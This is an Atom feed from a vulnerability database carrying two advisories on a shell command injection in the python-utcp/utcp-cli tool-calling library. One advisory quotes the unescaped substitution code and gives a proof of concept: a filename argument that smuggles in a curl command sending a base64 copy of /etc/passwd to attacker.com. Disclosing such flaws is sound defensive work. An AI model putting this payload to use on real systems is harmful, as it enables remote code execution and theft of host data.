<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-03T17:39:00.036380+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2026-45369</id>
    <title>CVE-2026-45369 — python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol</title>
    <updated>2026-10-03T17:39:00.070365+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> universal-tool-calling-protocol python-utcp</p>
<p>python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2026-45369"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-33p6-5jxp-p3x4</id>
    <title>GHSA-33p6-5jxp-p3x4 — utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol</title>
    <updated>2026-10-03T17:39:00.070430+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: utcp-cli</p>
<p>## Summary</p>
<p>The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.</p>
<p>## Affected File</p>
<p>`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`</p>
<p>## Vulnerable Code</p>
<p>```python
def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied
```</p>
<p>The substituted command is then embedded directly into a shell script:</p>
<p>```python
script_lines.append(f'{var_name}=$({substituted_command} 2&gt;&amp;1)')
```</p>
<p>And executed via:</p>
<p>```python
shell_cmd = ['/bin/bash', '-c', script]
```</p>
<p>## Proof of Concept</p>
<p>Given a tool defined as:
```json
{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}
```</p>
<p>Calling with:
```python
tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}
```</p>
<p>Produces and executes:
```bash
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2&gt;&amp;1)
```</p>
<p>This results in full Remote Code Execution on the host system.</p>
<p>## Patched</p>
<p>Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Window…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-33p6-5jxp-p3x4"/>
  </entry>
</feed>
